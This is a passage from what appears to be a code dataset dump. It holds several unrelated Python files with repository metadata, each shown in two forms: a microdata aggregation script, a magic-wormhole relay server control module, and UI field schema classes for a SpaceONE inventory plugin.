compute_target, run_config, source_directory=os.getcwd(), entry_script=os.path.join("deployment", "aml_flow.py"), input_dir=input_dir, output_dir=output_dir, param_name='config' + str(i) ) pipeline_steps += pipeline_step last_output.append(output_dir) publish_pipeline_endpoint(ws, pipeline_steps, pipeline_name)

true

f732951c2a10f606835e6edf4dd28492d430def9

4,455

py

Python

aggregator.py

lorrainewongmw/synthetic-data-showcase

c686478e5b58e3a2bc0e3bdd6d6f5c7a8378ff5d

[ "MIT" ]

null

aggregator.py

lorrainewongmw/synthetic-data-showcase

c686478e5b58e3a2bc0e3bdd6d6f5c7a8378ff5d

[ "MIT" ]

null

aggregator.py

lorrainewongmw/synthetic-data-showcase

c686478e5b58e3a2bc0e3bdd6d6f5c7a8378ff5d

[ "MIT" ]

null

import time import datetime import logging import pandas as pd import seaborn as sns import matplotlib.pyplot as plt import matplotlib.ticker as ticker from os import path import util as util def aggregate(config): """Aggregates the sensitive microdata at sensitive_microdata_path. Produces the reportable_aggregates tsv file of aggregate counts rounded down to the closest resolution, the sensitive_aggregates tsv file of actual aggregate counts, and the sensitive_rare_by_length tsv and svg files of rare combinations by length. This stage only needs to be run once for a given sensitive dataset and reporting limit/resolution. Args: config: options from the json config file, else default values. """ use_columns = config['use_columns'] reporting_length = config['reporting_length'] reporting_resolution = config['reporting_resolution'] parallel_jobs = config['parallel_jobs'] record_limit = config['record_limit'] sensitive_microdata_path = config['sensitive_microdata_path'] sensitive_microdata_delimiter = config['sensitive_microdata_delimiter'] reportable_aggregates_path = config['reportable_aggregates_path'] sensitive_aggregates_path = config['sensitive_aggregates_path'] sensitive_zeros = config['sensitive_zeros'] output_dir = config['output_dir'] prefix = config['prefix'] logging.info(f'Aggregate {sensitive_microdata_path}') start_time = time.time() df = util.loadMicrodata(path=sensitive_microdata_path, delimiter=sensitive_microdata_delimiter, record_limit=record_limit, use_columns=use_columns) row_list = util.genRowList(df=df, sensitive_zeros=sensitive_zeros) if reporting_length == -1: reporting_length = max([len(row) for row in row_list]) if use_columns != []: reporting_length = min(reporting_length, len(use_columns)) length_to_combo_to_count = util.countAllCombos(row_list=row_list, length_limit=reporting_length, parallel_jobs=parallel_jobs) len_to_combo_count = {length: len(combo_to_count) for length, combo_to_count in length_to_combo_to_count.items()} len_to_rare_count = {length: len([1 for combo, count in combo_to_count.items() if count < reporting_resolution]) for length, combo_to_count in length_to_combo_to_count.items()} leakage_tsv = path.join(output_dir, f'{prefix}_sensitive_rare_by_length.tsv') leakage_svg = path.join(output_dir, f'{prefix}_sensitive_rare_by_length.svg') with open(leakage_tsv, 'w') as f: f.write('\t'.join(['sen_combo_length', 'combo_count', 'rare_count', 'rare_proportion'])+'\n') for length, combo_count in len_to_combo_count.items(): rare_count = len_to_rare_count.get(length, 0) rare_prop = rare_count / combo_count f.write('\t'.join([str(length), str(combo_count), str(rare_count), str(rare_prop)])+'\n') util.plotStats( x_axis='sen_combo_length', x_axis_title='Length of Sensitive Combination', y_bar='combo_count', y_bar_title='Count of Combinations', y_line='rare_proportion', y_line_title=f'Proportion of Rare (<{reporting_resolution}) Combinations', color='violet', darker_color='darkviolet', stats_tsv=leakage_tsv, stats_svg=leakage_svg, delimiter='\t', style='whitegrid', palette='magma') with open(reportable_aggregates_path, 'w') as ra: with open(sensitive_aggregates_path, 'w') as sa: sa.write('\t'.join(['selections', 'count'])+'\n') sa.write('\t'.join(['', str(len(df))])+'\n') ra.write('\t'.join(['selections', 'protected_count'])+'\n') ra.write('\t'.join(['selections', str(util.protect(len(df), reporting_resolution))])+'\n') for _, combo_to_count in length_to_combo_to_count.items(): for combo, count in combo_to_count.items(): selections_string = util.comboToString(combo) protected_count = util.protect(count, reporting_resolution) sa.write('\t'.join([str(selections_string), str(count)])+'\n') if protected_count > 0: ra.write('\t'.join([str(selections_string), str(protected_count)])+'\n') logging.info(f'Aggregated {sensitive_microdata_path} into {reportable_aggregates_path}, took {datetime.timedelta(seconds = time.time() - start_time)}s')

47.903226

180

0.700561

import time import datetime import logging import pandas as pd import seaborn as sns import matplotlib.pyplot as plt import matplotlib.ticker as ticker from os import path import util as util def aggregate(config): use_columns = config['use_columns'] reporting_length = config['reporting_length'] reporting_resolution = config['reporting_resolution'] parallel_jobs = config['parallel_jobs'] record_limit = config['record_limit'] sensitive_microdata_path = config['sensitive_microdata_path'] sensitive_microdata_delimiter = config['sensitive_microdata_delimiter'] reportable_aggregates_path = config['reportable_aggregates_path'] sensitive_aggregates_path = config['sensitive_aggregates_path'] sensitive_zeros = config['sensitive_zeros'] output_dir = config['output_dir'] prefix = config['prefix'] logging.info(f'Aggregate {sensitive_microdata_path}') start_time = time.time() df = util.loadMicrodata(path=sensitive_microdata_path, delimiter=sensitive_microdata_delimiter, record_limit=record_limit, use_columns=use_columns) row_list = util.genRowList(df=df, sensitive_zeros=sensitive_zeros) if reporting_length == -1: reporting_length = max([len(row) for row in row_list]) if use_columns != []: reporting_length = min(reporting_length, len(use_columns)) length_to_combo_to_count = util.countAllCombos(row_list=row_list, length_limit=reporting_length, parallel_jobs=parallel_jobs) len_to_combo_count = {length: len(combo_to_count) for length, combo_to_count in length_to_combo_to_count.items()} len_to_rare_count = {length: len([1 for combo, count in combo_to_count.items() if count < reporting_resolution]) for length, combo_to_count in length_to_combo_to_count.items()} leakage_tsv = path.join(output_dir, f'{prefix}_sensitive_rare_by_length.tsv') leakage_svg = path.join(output_dir, f'{prefix}_sensitive_rare_by_length.svg') with open(leakage_tsv, 'w') as f: f.write('\t'.join(['sen_combo_length', 'combo_count', 'rare_count', 'rare_proportion'])+'\n') for length, combo_count in len_to_combo_count.items(): rare_count = len_to_rare_count.get(length, 0) rare_prop = rare_count / combo_count f.write('\t'.join([str(length), str(combo_count), str(rare_count), str(rare_prop)])+'\n') util.plotStats( x_axis='sen_combo_length', x_axis_title='Length of Sensitive Combination', y_bar='combo_count', y_bar_title='Count of Combinations', y_line='rare_proportion', y_line_title=f'Proportion of Rare (<{reporting_resolution}) Combinations', color='violet', darker_color='darkviolet', stats_tsv=leakage_tsv, stats_svg=leakage_svg, delimiter='\t', style='whitegrid', palette='magma') with open(reportable_aggregates_path, 'w') as ra: with open(sensitive_aggregates_path, 'w') as sa: sa.write('\t'.join(['selections', 'count'])+'\n') sa.write('\t'.join(['', str(len(df))])+'\n') ra.write('\t'.join(['selections', 'protected_count'])+'\n') ra.write('\t'.join(['selections', str(util.protect(len(df), reporting_resolution))])+'\n') for _, combo_to_count in length_to_combo_to_count.items(): for combo, count in combo_to_count.items(): selections_string = util.comboToString(combo) protected_count = util.protect(count, reporting_resolution) sa.write('\t'.join([str(selections_string), str(count)])+'\n') if protected_count > 0: ra.write('\t'.join([str(selections_string), str(protected_count)])+'\n') logging.info(f'Aggregated {sensitive_microdata_path} into {reportable_aggregates_path}, took {datetime.timedelta(seconds = time.time() - start_time)}s')

true

f73295e0bdf841a082ee62af3dfeefbf417d5f78

2,131

py

Python

src/wormhole/server/cmd_server.py

LeastAuthority/magic-wormhole

2fadadc4dba78f167cfc1295bbea7ee778d22dd5

[ "MIT" ]

null

src/wormhole/server/cmd_server.py

LeastAuthority/magic-wormhole

2fadadc4dba78f167cfc1295bbea7ee778d22dd5

[ "MIT" ]

null

src/wormhole/server/cmd_server.py

LeastAuthority/magic-wormhole

2fadadc4dba78f167cfc1295bbea7ee778d22dd5

[ "MIT" ]

null

from __future__ import print_function, unicode_literals import os, time from twisted.python import usage from twisted.scripts import twistd class MyPlugin(object): tapname = "xyznode" def __init__(self, args): self.args = args def makeService(self, so): # delay this import as late as possible, to allow twistd's code to # accept --reactor= selection from .server import RelayServer return RelayServer( str(self.args.rendezvous), self.args.advertise_version, self.args.relay_database_path, self.args.blur_usage, signal_error=self.args.signal_error, stats_file=self.args.stats_json_path, allow_list=self.args.allow_list, ) class MyTwistdConfig(twistd.ServerOptions): subCommands = [("XYZ", None, usage.Options, "node")] def start_server(args): c = MyTwistdConfig() #twistd_args = tuple(args.twistd_args) + ("XYZ",) base_args = [] if args.no_daemon: base_args.append("--nodaemon") twistd_args = base_args + ["XYZ"] c.parseOptions(tuple(twistd_args)) c.loadedPlugins = {"XYZ": MyPlugin(args)} print("starting wormhole relay server") # this forks and never comes back. The parent calls os._exit(0) twistd.runApp(c) def kill_server(): try: f = open("twistd.pid", "r") except EnvironmentError: print("Unable to find twistd.pid: is this really a server directory?") print("oh well, ignoring 'stop'") return pid = int(f.read().strip()) f.close() os.kill(pid, 15) print("server process %d sent SIGTERM" % pid) return def stop_server(args): kill_server() def restart_server(args): kill_server() time.sleep(0.1) timeout = 0 while os.path.exists("twistd.pid") and timeout < 10: if timeout == 0: print(" waiting for shutdown..") timeout += 1 time.sleep(1) if os.path.exists("twistd.pid"): print("error: unable to shut down old server") return 1 print(" old server shut down") start_server(args)

29.191781

78

0.632098

from __future__ import print_function, unicode_literals import os, time from twisted.python import usage from twisted.scripts import twistd class MyPlugin(object): tapname = "xyznode" def __init__(self, args): self.args = args def makeService(self, so): # accept --reactor= selection from .server import RelayServer return RelayServer( str(self.args.rendezvous), self.args.advertise_version, self.args.relay_database_path, self.args.blur_usage, signal_error=self.args.signal_error, stats_file=self.args.stats_json_path, allow_list=self.args.allow_list, ) class MyTwistdConfig(twistd.ServerOptions): subCommands = [("XYZ", None, usage.Options, "node")] def start_server(args): c = MyTwistdConfig() #twistd_args = tuple(args.twistd_args) + ("XYZ",) base_args = [] if args.no_daemon: base_args.append("--nodaemon") twistd_args = base_args + ["XYZ"] c.parseOptions(tuple(twistd_args)) c.loadedPlugins = {"XYZ": MyPlugin(args)} print("starting wormhole relay server") # this forks and never comes back. The parent calls os._exit(0) twistd.runApp(c) def kill_server(): try: f = open("twistd.pid", "r") except EnvironmentError: print("Unable to find twistd.pid: is this really a server directory?") print("oh well, ignoring 'stop'") return pid = int(f.read().strip()) f.close() os.kill(pid, 15) print("server process %d sent SIGTERM" % pid) return def stop_server(args): kill_server() def restart_server(args): kill_server() time.sleep(0.1) timeout = 0 while os.path.exists("twistd.pid") and timeout < 10: if timeout == 0: print(" waiting for shutdown..") timeout += 1 time.sleep(1) if os.path.exists("twistd.pid"): print("error: unable to shut down old server") return 1 print(" old server shut down") start_server(args)

true

f7329645c63bbeced2675087da6bdc4f97ad2b38

14,433

py

Python

src/spaceone/inventory/libs/schema/dynamic_field.py

xellos00/plugin-aws-cloud-services

56ac9d6f2edafc5abcd236c046726f169a72e1f6

[ "Apache-2.0" ]

2

2020-06-22T09:49:22.000Z

2021-01-03T22:21:27.000Z

src/spaceone/inventory/libs/schema/dynamic_field.py

xellos00/plugin-aws-cloud-services

56ac9d6f2edafc5abcd236c046726f169a72e1f6

[ "Apache-2.0" ]

2

2020-07-20T01:58:32.000Z

2020-08-04T07:41:37.000Z

src/spaceone/inventory/libs/schema/dynamic_field.py

xellos00/plugin-aws-cloud-services

56ac9d6f2edafc5abcd236c046726f169a72e1f6

[ "Apache-2.0" ]

5

2020-10-13T15:05:12.000Z

2021-04-19T10:25:24.000Z

import math from schematics import Model from schematics.types import ModelType, StringType, PolyModelType, DictType, ListType, BooleanType from .dynamic_search import BaseDynamicSearch BACKGROUND_COLORS = [ 'black', 'white', 'gray', 'gray.100', 'gray.200', 'gray.300', 'gray.400', 'gray.500', 'gray.600', 'gray.700', 'gray.800', 'gray.900', 'red', 'red.100', 'red.200', 'red.300', 'red.400', 'red.500', 'red.600', 'red.700', 'red.800', 'red.900', 'coral', 'coral.100', 'coral.200', 'coral.300', 'coral.400', 'coral.500', 'coral.600', 'coral.700', 'coral.800', 'coral.900', 'yellow', 'yellow.100', 'yellow.200', 'yellow.300', 'yellow.400', 'yellow.500', 'yellow.600', 'yellow.700', 'yellow.800', 'yellow.900', 'green', 'green.100', 'green.200', 'green.300', 'green.400', 'green.500', 'green.600', 'green.700', 'green.800', 'green.900', 'blue', 'blue.100', 'blue.200', 'blue.300', 'blue.400', 'blue.500', 'blue.600', 'blue.700', 'blue.800', 'blue.900', 'violet', 'violet.100', 'violet.200', 'violet.300', 'violet.400', 'violet.500', 'violet.600', 'violet.700', 'violet.800', 'violet.900', 'peacock', 'peacock.100', 'peacock.200', 'peacock.300', 'peacock.400', 'peacock.500', 'peacock.600', 'peacock.700', 'peacock.800', 'peacock.900', 'indigo', 'indigo.100', 'indigo.200', 'indigo.300', 'indigo.400', 'indigo.500', 'indigo.600', 'indigo.700', 'indigo.800', 'indigo.900', ] TYPE_BADGE = ['primary', 'indigo.500', 'coral.600', 'peacock.500', 'green.500'] class FieldReference(Model): resource_type = StringType() reference_key = StringType(serialize_when_none=False) class Icon(Model): image = StringType(serialize_when_none=False) color = StringType(default='green', choices=BACKGROUND_COLORS) class BaseField(Model): type = StringType(choices=["text", "state", "badge", "list", "dict", "datetime", "image", "enum", "progress", "size"], serialize_when_none=False) options = PolyModelType([Model, DictType(PolyModelType(Model))], serialize_when_none=False) class FieldViewOption(Model): link = StringType(serialize_when_none=False) variables = StringType(serialize_when_none=False) sortable = BooleanType(serialize_when_none=False) sort_key = StringType(serialize_when_none=False) translation_id = StringType(serialize_when_none=False) default = StringType(serialize_when_none=False) is_optional = BooleanType(serialize_when_none=False) postfix = StringType(serialize_when_none=False) prefix = StringType(serialize_when_none=False) field_description = StringType(serialize_when_none=False) class BaseDynamicField(BaseField): name = StringType() key = StringType() reference = ModelType(FieldReference, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): return cls({'key': key, 'name': name, **kwargs}) class TextDyFieldOptions(FieldViewOption): pass class BadgeDyFieldOptions(FieldViewOption): text_color = StringType(serialize_when_none=False) shape = StringType(serialize_when_none=False, choices=['SQUARE', 'ROUND']) outline_color = StringType(serialize_when_none=False, choices=BACKGROUND_COLORS) background_color = StringType(serialize_when_none=False, choices=BACKGROUND_COLORS) class StateDyFieldOptions(FieldViewOption): text_color = StringType(serialize_when_none=False) icon = ModelType(Icon, serialize_when_none=False) class ImageDyFieldOptions(FieldViewOption): image_url = StringType(default='') width = StringType(serialize_when_none=False) height = StringType(serialize_when_none=False) class DateTimeDyFieldOptions(FieldViewOption): source_type = StringType(default='timestamp', choices=['iso8601', 'timestamp']) source_format = StringType(serialize_when_none=False) display_format = StringType(serialize_when_none=False) class ProgressFieldOptions(FieldViewOption): unit = StringType(serialize_when_none=False) class SizeFieldOptions(FieldViewOption): display_unit = StringType(serialize_when_none=False, choices=('BYTES', 'KB', 'MB', 'GB', 'TB', 'PB')) source_unit = StringType(serialize_when_none=False, choices=('BYTES', 'KB', 'MB', 'GB', 'TB', 'PB')) class TextDyField(BaseDynamicField): type = StringType(default="text") options = PolyModelType(TextDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': TextDyFieldOptions(kwargs.get('options'))}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class StateDyField(BaseDynamicField): type = StringType(default="state") options = PolyModelType(StateDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': StateDyFieldOptions(kwargs.get('options'))}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class BadgeDyField(BaseDynamicField): type = StringType(default="badge") options = PolyModelType(BadgeDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': BadgeDyFieldOptions(kwargs.get('options'))}) else: _data_source.update({'options': BadgeDyFieldOptions({'background_color': 'gray.200', 'text_color': 'gray.900'})}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class ImageDyField(BaseDynamicField): type = StringType(default="image") options = PolyModelType(ImageDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': ImageDyFieldOptions(kwargs.get('options'))}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class DateTimeDyField(BaseDynamicField): type = StringType(default="datetime") options = PolyModelType(DateTimeDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': DateTimeDyFieldOptions(kwargs.get('options'))}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class DictDyField(BaseDynamicField): type = StringType(default="dict") options = PolyModelType(FieldViewOption, serialize_when_none=False) class StateItemDyField(BaseField): type = StringType(default="state") options = PolyModelType(StateDyFieldOptions, serialize_when_none=False) @classmethod def set(cls, options): return cls({'options': StateDyFieldOptions(options)}) class BadgeItemDyField(BaseField): type = StringType(default="badge") options = PolyModelType(BadgeDyFieldOptions, serialize_when_none=False) @classmethod def set(cls, options): return cls({'options': BadgeDyFieldOptions(options)}) class ImageItemDyField(BaseField): type = StringType(default="image") options = PolyModelType(ImageDyFieldOptions, serialize_when_none=False) @classmethod def set(cls, options): return cls({'options': ImageDyFieldOptions(options)}) class DatetimeItemDyField(BaseField): type = StringType(default="datetime") options = PolyModelType(DateTimeDyFieldOptions, serialize_when_none=False) @classmethod def set(cls, options): return cls({'options': DateTimeDyFieldOptions(options)}) class ListDyFieldOptions(FieldViewOption): item = PolyModelType([BadgeItemDyField, StateDyField, DateTimeDyField, DictDyField], serialize_when_none=False) sub_key = StringType(serialize_when_none=False) delimiter = StringType(serialize_when_none=False) class ListDyField(BaseDynamicField): type = StringType(default="list") options = PolyModelType(ListDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'default_badge' in kwargs: _default_badge = kwargs.get('default_badge') _list_options = {'delimiter': ' '} if 'type' in _default_badge and _default_badge.get('type') == 'outline': _list_options.update({'item': BadgeItemDyField.set({'outline_color': 'violet.500'})}) elif 'type' in _default_badge and _default_badge.get('type') == 'inline': _list_options.update({'item': BadgeItemDyField.set({'background_color': 'violet.500'})}) if 'sub_key' in _default_badge: _list_options.update({'sub_key': _default_badge.get('sub_key')}) if 'delimiter' in _default_badge: _list_options.update({'delimiter': _default_badge.get('delimiter')}) _data_source.update({'options': ListDyFieldOptions(_list_options)}) if 'options' in kwargs: _data_source.update({'options': ListDyFieldOptions(kwargs.get('options'))}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class EnumDyField(BaseDynamicField): type = StringType(default="enum") options = DictType(PolyModelType([StateItemDyField, BadgeItemDyField, ImageItemDyField, DatetimeItemDyField]), serialize_when_none=False, default={}) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} _default_badge = kwargs.get('default_badge', {}) _default_state = kwargs.get('default_state', {}) _default_outline_badge = kwargs.get('default_outline_badge', []) _options_dic = {} for _key in _default_outline_badge: _round_index = len(TYPE_BADGE) _index = _default_outline_badge.index(_key) _num = math.floor(_index/len(TYPE_BADGE)) if _num > 0: _round_index = len(TYPE_BADGE)*_num if _round_index - 1 < _index: _index = _index - _round_index _options_dic[_key] = BadgeItemDyField.set({'outline_color': TYPE_BADGE[_index]}) for _key in _default_badge: for _badge in _default_badge[_key]: _options_dic[_badge] = BadgeItemDyField.set({'background_color': _key}) for _key in _default_state: for _state in _default_state[_key]: _state_options = {'icon': {'color': 'gray.400'}} if _key == 'safe': _state_options = {'icon': {'color': 'green.500'}} elif _key == 'disable': _state_options.update({'text_color': 'gray.400'}) elif _key == 'warning': _state_options = {'icon': {'color': 'yellow.500'}} elif _key == 'available': _state_options = {'icon': {'color': 'blue.400'}} elif _key == 'alert': _state_options = {'text_color': 'red.500', 'icon': {'color': 'red.500'}} _options_dic[_state] = StateItemDyField.set(_state_options) _data_source.update({'options': _options_dic}) if 'options' in kwargs: _data_source.update({'options': kwargs.get('options')}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class ProgressField(BaseDynamicField): type = StringType(default="progress") options = PolyModelType(ProgressFieldOptions, serialize_when_none=False, ) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': kwargs.get('options')}) return cls(_data_source) class SizeField(BaseDynamicField): type = StringType(default="size") options = PolyModelType(SizeFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': kwargs.get('options')}) return cls(_data_source) class SearchEnumField(Model): label = StringType(serialize_when_none=False) icon = ModelType(Icon, serialize_when_none=False) @classmethod def set_field(cls, label=None, icon=None): return_dic = {} if label is not None: return_dic.update({'label': label}) if icon is not None: return_dic.update({'icon': Icon(icon)}) return cls(return_dic) class SearchField(BaseDynamicSearch): enums = DictType(ModelType(SearchEnumField), serialize_when_none=False) reference = StringType(serialize_when_none=False) @classmethod def set(cls, name='', key='', data_type=None, enums=None, reference=None): return_dic = { 'name': name, 'key': key } if data_type is not None: return_dic.update({'data_type': data_type}) if reference is not None: return_dic.update({'reference': reference}) if enums is not None: convert_enums = {} for enum_key in enums: enum_v = enums[enum_key] convert_enums[enum_key] = SearchEnumField.set_field(**enum_v) return_dic.update({ 'enums': convert_enums }) return cls(return_dic)

36.355164

149

0.655304

import math from schematics import Model from schematics.types import ModelType, StringType, PolyModelType, DictType, ListType, BooleanType from .dynamic_search import BaseDynamicSearch BACKGROUND_COLORS = [ 'black', 'white', 'gray', 'gray.100', 'gray.200', 'gray.300', 'gray.400', 'gray.500', 'gray.600', 'gray.700', 'gray.800', 'gray.900', 'red', 'red.100', 'red.200', 'red.300', 'red.400', 'red.500', 'red.600', 'red.700', 'red.800', 'red.900', 'coral', 'coral.100', 'coral.200', 'coral.300', 'coral.400', 'coral.500', 'coral.600', 'coral.700', 'coral.800', 'coral.900', 'yellow', 'yellow.100', 'yellow.200', 'yellow.300', 'yellow.400', 'yellow.500', 'yellow.600', 'yellow.700', 'yellow.800', 'yellow.900', 'green', 'green.100', 'green.200', 'green.300', 'green.400', 'green.500', 'green.600', 'green.700', 'green.800', 'green.900', 'blue', 'blue.100', 'blue.200', 'blue.300', 'blue.400', 'blue.500', 'blue.600', 'blue.700', 'blue.800', 'blue.900', 'violet', 'violet.100', 'violet.200', 'violet.300', 'violet.400', 'violet.500', 'violet.600', 'violet.700', 'violet.800', 'violet.900', 'peacock', 'peacock.100', 'peacock.200', 'peacock.300', 'peacock.400', 'peacock.500', 'peacock.600', 'peacock.700', 'peacock.800', 'peacock.900', 'indigo', 'indigo.100', 'indigo.200', 'indigo.300', 'indigo.400', 'indigo.500', 'indigo.600', 'indigo.700', 'indigo.800', 'indigo.900', ] TYPE_BADGE = ['primary', 'indigo.500', 'coral.600', 'peacock.500', 'green.500'] class FieldReference(Model): resource_type = StringType() reference_key = StringType(serialize_when_none=False) class Icon(Model): image = StringType(serialize_when_none=False) color = StringType(default='green', choices=BACKGROUND_COLORS) class BaseField(Model): type = StringType(choices=["text", "state", "badge", "list", "dict", "datetime", "image", "enum", "progress", "size"], serialize_when_none=False) options = PolyModelType([Model, DictType(PolyModelType(Model))], serialize_when_none=False) class FieldViewOption(Model): link = StringType(serialize_when_none=False) variables = StringType(serialize_when_none=False) sortable = BooleanType(serialize_when_none=False) sort_key = StringType(serialize_when_none=False) translation_id = StringType(serialize_when_none=False) default = StringType(serialize_when_none=False) is_optional = BooleanType(serialize_when_none=False) postfix = StringType(serialize_when_none=False) prefix = StringType(serialize_when_none=False) field_description = StringType(serialize_when_none=False) class BaseDynamicField(BaseField): name = StringType() key = StringType() reference = ModelType(FieldReference, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): return cls({'key': key, 'name': name, **kwargs}) class TextDyFieldOptions(FieldViewOption): pass class BadgeDyFieldOptions(FieldViewOption): text_color = StringType(serialize_when_none=False) shape = StringType(serialize_when_none=False, choices=['SQUARE', 'ROUND']) outline_color = StringType(serialize_when_none=False, choices=BACKGROUND_COLORS) background_color = StringType(serialize_when_none=False, choices=BACKGROUND_COLORS) class StateDyFieldOptions(FieldViewOption): text_color = StringType(serialize_when_none=False) icon = ModelType(Icon, serialize_when_none=False) class ImageDyFieldOptions(FieldViewOption): image_url = StringType(default='') width = StringType(serialize_when_none=False) height = StringType(serialize_when_none=False) class DateTimeDyFieldOptions(FieldViewOption): source_type = StringType(default='timestamp', choices=['iso8601', 'timestamp']) source_format = StringType(serialize_when_none=False) display_format = StringType(serialize_when_none=False) class ProgressFieldOptions(FieldViewOption): unit = StringType(serialize_when_none=False) class SizeFieldOptions(FieldViewOption): display_unit = StringType(serialize_when_none=False, choices=('BYTES', 'KB', 'MB', 'GB', 'TB', 'PB')) source_unit = StringType(serialize_when_none=False, choices=('BYTES', 'KB', 'MB', 'GB', 'TB', 'PB')) class TextDyField(BaseDynamicField): type = StringType(default="text") options = PolyModelType(TextDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': TextDyFieldOptions(kwargs.get('options'))}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class StateDyField(BaseDynamicField): type = StringType(default="state") options = PolyModelType(StateDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': StateDyFieldOptions(kwargs.get('options'))}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class BadgeDyField(BaseDynamicField): type = StringType(default="badge") options = PolyModelType(BadgeDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': BadgeDyFieldOptions(kwargs.get('options'))}) else: _data_source.update({'options': BadgeDyFieldOptions({'background_color': 'gray.200', 'text_color': 'gray.900'})}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class ImageDyField(BaseDynamicField): type = StringType(default="image") options = PolyModelType(ImageDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': ImageDyFieldOptions(kwargs.get('options'))}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class DateTimeDyField(BaseDynamicField): type = StringType(default="datetime") options = PolyModelType(DateTimeDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'options' in kwargs: _data_source.update({'options': DateTimeDyFieldOptions(kwargs.get('options'))}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class DictDyField(BaseDynamicField): type = StringType(default="dict") options = PolyModelType(FieldViewOption, serialize_when_none=False) class StateItemDyField(BaseField): type = StringType(default="state") options = PolyModelType(StateDyFieldOptions, serialize_when_none=False) @classmethod def set(cls, options): return cls({'options': StateDyFieldOptions(options)}) class BadgeItemDyField(BaseField): type = StringType(default="badge") options = PolyModelType(BadgeDyFieldOptions, serialize_when_none=False) @classmethod def set(cls, options): return cls({'options': BadgeDyFieldOptions(options)}) class ImageItemDyField(BaseField): type = StringType(default="image") options = PolyModelType(ImageDyFieldOptions, serialize_when_none=False) @classmethod def set(cls, options): return cls({'options': ImageDyFieldOptions(options)}) class DatetimeItemDyField(BaseField): type = StringType(default="datetime") options = PolyModelType(DateTimeDyFieldOptions, serialize_when_none=False) @classmethod def set(cls, options): return cls({'options': DateTimeDyFieldOptions(options)}) class ListDyFieldOptions(FieldViewOption): item = PolyModelType([BadgeItemDyField, StateDyField, DateTimeDyField, DictDyField], serialize_when_none=False) sub_key = StringType(serialize_when_none=False) delimiter = StringType(serialize_when_none=False) class ListDyField(BaseDynamicField): type = StringType(default="list") options = PolyModelType(ListDyFieldOptions, serialize_when_none=False) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} if 'default_badge' in kwargs: _default_badge = kwargs.get('default_badge') _list_options = {'delimiter': ' '} if 'type' in _default_badge and _default_badge.get('type') == 'outline': _list_options.update({'item': BadgeItemDyField.set({'outline_color': 'violet.500'})}) elif 'type' in _default_badge and _default_badge.get('type') == 'inline': _list_options.update({'item': BadgeItemDyField.set({'background_color': 'violet.500'})}) if 'sub_key' in _default_badge: _list_options.update({'sub_key': _default_badge.get('sub_key')}) if 'delimiter' in _default_badge: _list_options.update({'delimiter': _default_badge.get('delimiter')}) _data_source.update({'options': ListDyFieldOptions(_list_options)}) if 'options' in kwargs: _data_source.update({'options': ListDyFieldOptions(kwargs.get('options'))}) if 'reference' in kwargs: _data_source.update({'reference': kwargs.get('reference')}) return cls(_data_source) class EnumDyField(BaseDynamicField): type = StringType(default="enum") options = DictType(PolyModelType([StateItemDyField, BadgeItemDyField, ImageItemDyField, DatetimeItemDyField]), serialize_when_none=False, default={}) @classmethod def data_source(cls, name, key, **kwargs): _data_source = {'key': key, 'name': name} _default_badge = kwargs.get('default_badge', {}) _default_state = kwargs.get('default_state', {}) _default_outline_badge = kwargs.get('default_outline_badge', []) _options_dic = {} for _key in _default_outline_badge: _round_index = len(TYPE_BADGE) _index = _default_outline_badge.index(_key) _num = math.floor(_index/len(TYPE_BADGE)) if _num > 0: _round_index = len(TYPE_BADGE)*_num if _round_index - 1 < _index: _index = _index - _round_index _options_dic[_key] = BadgeItemDyField.set({'outline_color': TYPE_BADGE[_index]}) for _key in _default_badge: for _badge in _default_badge[_key]: _options_dic[_badge] = 